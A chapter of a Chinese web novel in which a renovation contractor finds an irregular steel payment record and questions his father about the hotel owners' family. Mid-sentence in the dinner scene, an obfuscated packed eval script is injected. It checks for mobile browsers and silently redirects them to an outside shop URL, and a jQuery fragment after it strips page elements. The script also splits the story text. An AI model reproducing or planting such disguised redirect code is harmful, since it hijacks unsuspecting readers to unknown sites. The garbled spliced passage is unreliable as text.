许泽熠回到二楼的项目临时办公室时，已经过了下班时间。
但办公室里人还没走，一推开门就闻到了咖啡和木板散发出的木屑香气。
李工正趴在桌边和陈工还有小周核对下周的施工计划。
见他回来，顺口问了一句，“许总，酒店那边聊完了？”
“嗯。”
“有什么新的要求吗？”
“没有。”许泽熠把笔记本放到桌上，语气和平时一样。
李工没再追问，继续低头一边看图纸，一边和旁边两人说：“普通客房这一批，下周三应该全部能验收。行政楼层那边，木饰面已经提前到了，先存着。剩下的，就等公共区域最终方案定下来。”
远处隐约传来机械运转的声音，许泽熠走到窗边望了一眼隔壁的主楼，改造楼层走廊灯也都还亮着。
回想刚刚程千玥跟他讲过的话，似乎含含糊糊的还有很多话没说清楚。
但也有一点是清楚的，酒店那边可能出了什么会影响项目的问题，但有某些重要信息绕过了程千玥。
他低头看了一眼手机，上一次的聊天记录还停留在几天前的周六晚上。
那天，他看到沈望晴来酒店找程千玥，脸色不是很好的样子。
晚上十点多，他好像听到了隔壁关门的声音，当晚程千玥也没有回复他的信息。
而这周末的考察也取消了。
应该不只是工作忙的缘故。
许泽熠走回自己的位置，拉开椅子坐下，打开了电脑。
项目管理系统里的十月施工记录已经同步更新，先查看了工程进度表。普通客房第二期9至12层的区域改造正在按照计划推进，材料确认、供应商报价、分包申请，也没什么异常。
但程千玥下午特意强调了付款有关的信息。
鼠标停在了屏幕的中央。
通常情况下，他们之间只会就施工、工期和设计进行沟通，很少就款项问题进行交涉。跟钱相关的部分，基本都是都是海州大酒店的财务人员和这边的商务经理小周直接对接的。
许泽熠把今天下午刚发来的施工日报翻了一遍，和平常没有差别。没有出现安全事故，也没有出现延期和返工，相关工程也没有超出预算。
手指在鼠标上轻轻敲了两下。
“小周。”他喊坐在前面的商务经理。
周经理回过头来，“许总？”
“项目的十月份回款计划有调整吗？”
“没有啊，都是按照合同节点付款。”
“都已经到账了？”
“是啊，怎么了？”
“没什么。那供应商那边呢？最近有没有催款？”
“没有啊。”
“石材和木饰面都没问题？”
“没有。”
“消防设备？”
“也都正常。”周经理脸上渐渐现出了紧张的神色。“酒店那边有什么问题吗？”
许泽熠摇摇头，“没有，我就是确认一下，别担心。”
他又重新打开了付款节点记录，一条一条再次确认。
不多时，他的目光锁定到了其中一条记录上。
10月18日，华胜建材有限公司，申请付款。
审批状态显示【待确认】。
财务审核流程的确需要花点儿时间，但已经过去近一周了。他微微皱了皱眉，又打开了详细记录。
备注：部分材料规格调整，需重新确认。
继续往下翻。
调整申请日期：10月16日。
但施工现场实际使用日期却显示10月15日。
还没通过系统流程进行报备，就提前一天先使用了？
“小周，你过来一下。”他又喊周经理。
周经理赶紧从座位上起来走了过来。
许泽熠用手指了指屏幕，“十六号这批钢材进行了调整，你知道是什么情况吗？”
周经理低头看了看，“说是现场临时调整。”
“谁通知你的？”
周经理歪头想了想，“好像是现场的建材负责人。”
“李工，”许泽熠又喊李工，“十六号钢材调整，现场的人有跟你报备吗？”
“啊？什么？”李工也起身走了过来，盯着屏幕上的记录微微眯起眼，“好像没印象。”
许泽熠望着两人，“你俩复核一下，看看流程上是不是漏了什么步骤。”
“好。”
正说话间，桌上的手机响了。
许泽熠拿起电话，是林永业。
“喂。”
“喂，泽熠啊，你到哪儿了？”
许泽熠看了一眼电脑屏幕上显示的时间，已经快七点了。
刚想说不去了，但转念一想，可能最好去一趟。
“我还没下班，要不你们先吃吧，我晚点儿去找你。”
“啊？没事儿，等你。今天她带孩子出去了，家里就我。”
七点半，许泽熠开车到了林永业家门口。
从别墅的外面望过去，客厅亮着灯。
来开门的依旧是上次的保姆，不知是不是林永业交代过还是记住他了，这次喊了他一声“许总”。
客厅电视开着，财经频道正在播放新闻，声音不大。
林永业坐在沙发上，也没看电视，而是戴着副眼镜，在翻手里一本不知是什么内容的书。
“林总，许总到了。”保姆一边说一边走近，将他从座位上扶了起来。
林永业抬头看着他，“那边是不是挺忙？这么晚才下班。”
“稍微有点事情。”许泽熠把工装外套搭在沙发扶手上，“放这儿行吗？”
“行，你随便放。要不要帮你挂起来？”
“不用了，我先去洗手。”
“好，饭都准备好了。”
洗好手后，许泽熠直接坐到了餐桌边，拿起碗筷就直接开吃了。
林永业跟着拿起了碗筷，默默吃了一会儿，才像是不经意似的开口。
“海州那边的项目，都还顺利吧？”
“还行，就是工期和预算都卡得挺紧张的。”
“嗯，这次这个项目确实，本来早就该开始了。听说他们前期资金不到位，从去年拖到了今年。”
许泽熠看了他一眼，“你对他们情况了解得还挺清楚。”
“圈子总共就这么大，这个项目算是这几年比较大的项目，之前好多总包商都盯着呢。”
“那你也挺有本事的，能拿到这个饼。”
“也得亏以前帮他们家老头儿干得多，老头儿对我们公司还是挺好的。”
“以前的老董事长？”
“嗯，没错，就是现在这个程总他爸，老头子去年没了，他们家也是一下子元气大伤，恢复了好一阵儿呢。”
许泽熠手里停了一下，“你跟他们现在这个程总不熟吗？”
“也熟啊，怎么不熟？”林永业笑笑，“我开始承包他们家工程的时候，他还
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17778963|207540||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
没从学校毕业呢。论资排辈，也该我更老才对。”
“沈总呢？”
“他老婆？也是蛮能干的一个人，人挺精明的。你遇上了？”
“没有，就是在会议上打过几次照面。”
林永业打量了他一眼，“海州那边，没有为难你什么吧？”
“没有。”许泽熠顿了顿，“他们家以前的项目不好做？”
“嗯，每次都这个那个要求挺多的，前期难定。不过一旦做下来，给钱方面基本上还是蛮爽快的。”
“这次这个项目，我感觉他们资金安排得还是挺紧张的，以前不是这样吗？”
林永业放下了手里的碗，“他们回款卡住了？”
“没有。”
“……他们家没出什么事儿吧？”
“为什么这么问？”
林永业盯着许泽熠看了一会儿，反问道：“你怎么突然开始关心这些了？”
许泽熠没抬头，继续往碗里夹菜，“是我的甲方，早就想问问了，不知道向谁打听而已。”
听到这话，林永业的脸顿时舒展开来了，“哦哦，那你问我就好，他们家的工程我都熟。”
“现在的程总在董事会的威望怎么样？我看他们好像有新的董事。”
“肯定比不上他们家老头儿当年，但还行吧。新董事，你说荀峥？人家拿钱进门，可不得给个好位置嘛。”
“刚加入，应该还需要一点儿时间吧？”
“呵，”林永业不自觉歪嘴笑笑，“你可别小看荀峥，他可比程澍和沈望晴精明多了，两边都不是一个段位的。要是我，我还不放心拿他的钱呢，烫手的。”
许泽熠没说什么，空气安静下来。
林永业见气氛有些闷，干笑了一下，又继续说道：“你现在负责的这个是大项目，要是能跟他们都打好关系，对以后也是有好处的，该放聪明的时候也放聪明一些。万一遇到什么难沟通的，你也不怕，来找爸爸就行了，我来帮你圆场子。”
“爸。”
“嗯？”林永业一时发愣，随即又露出欣喜的笑，这还是许泽熠回来这么久第一次喊他爸。
“你认识他们家这么久了，应该见过不少事情吧，这些年，跟以前相比变化大吗？”
“你问的是？”林永业露出了疑惑的表情。
许泽熠微微露出了一抹笑容，“你也说了，要跟他们都打好关系。我觉得还是需要尽量多了解一些，比如他们那边的工作风格和喜好之类的，你说是吧？我也是希望，尽可能去维持一个比较长期的关系。”
“嗯，这个是需要的，”林永业连连点头，眼神微动，“他们家，变化是有，不过也还是瘦死的骆驼比马大，我想想从哪儿开始。”
***
晚上十一点多，许泽熠仍在房间里对着电脑打字。
他重新看了一遍海州的项目资料。
程澍、沈望晴、董事会、投资方。
还有……程千玥。
他将屏幕里新建的Excel表又检查了一遍，供应商情况、付款节点、施工进度、人员稳定性，每一项都进行了更新。
最后一行是备注：【后续所有涉及项目资金、设计调整、施工变更的信息，由项目双方负责人直接确认】
邮件标题：【关于项目风险确认及后续协调建议】
赶在十二点之前，他在收件人一栏输入了程千玥的邮箱。
鼠标在“发送”上停留了一下，最后还是点了“保存”。